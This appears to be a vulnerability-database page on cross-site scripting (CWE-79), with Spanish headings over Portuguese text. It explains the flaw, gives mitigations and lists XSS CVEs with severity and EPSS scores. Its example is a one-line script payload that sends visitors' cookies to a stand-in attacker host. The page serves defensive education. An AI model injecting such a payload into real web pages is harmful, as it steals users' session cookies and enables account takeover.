Fallos del tipo CWE-79

29.904 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-3965MEDIUMitwanger paicoding post cross site scriptingEPSS 0.4%CVE-2025-3970MEDIUMbaseweb JSite save cross site scriptingEPSS 0.4%CVE-2026-75708MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-19612MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-31236MEDIUMWordPress Royal Elementor Addons plugin <= 1.3.93 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-2375MEDIUMPHPGurukul Human Metapneumovirus Testing Management System Admin Profile Page profile.php cross site scriptingEPSS 0.4%CVE-2024-3179LOWConcrete CMS version 9 before 9.2.8 and previous versions before 8.5.16 are vulnerable to Stored XSS in the Custom Class pageEPSS 0.4%CVE-2024-29818MEDIUMWordPress WP Poll Maker plugin <= 3.1 - Authenticated Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75671MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-38473MEDIUMA Stored XSS vulnerability in the subtitle deletion flow in GazellePW (GazellePosterWall) commit 86c4bedf727691b5a97af42a4864869d18446449 alEPSS 0.4%CVE-2024-36228MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75657MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-30181MEDIUMWordPress Locatoraid Store Locator plugin <= 3.9.30 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-34375MEDIUMWordPress Sheets to WP Table Live Sync plugin <= 3.7.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75672MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-48253MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-19713MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75695MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-104979HIGHPlane: Cross-tenant stored XSS in intake enables account takeoverEPSS 0.4%CVE-2024-10493MEDIUMElement Pack Elementor Addons < 5.10.3 - Contributor+ Stored XSSEPSS 0.4%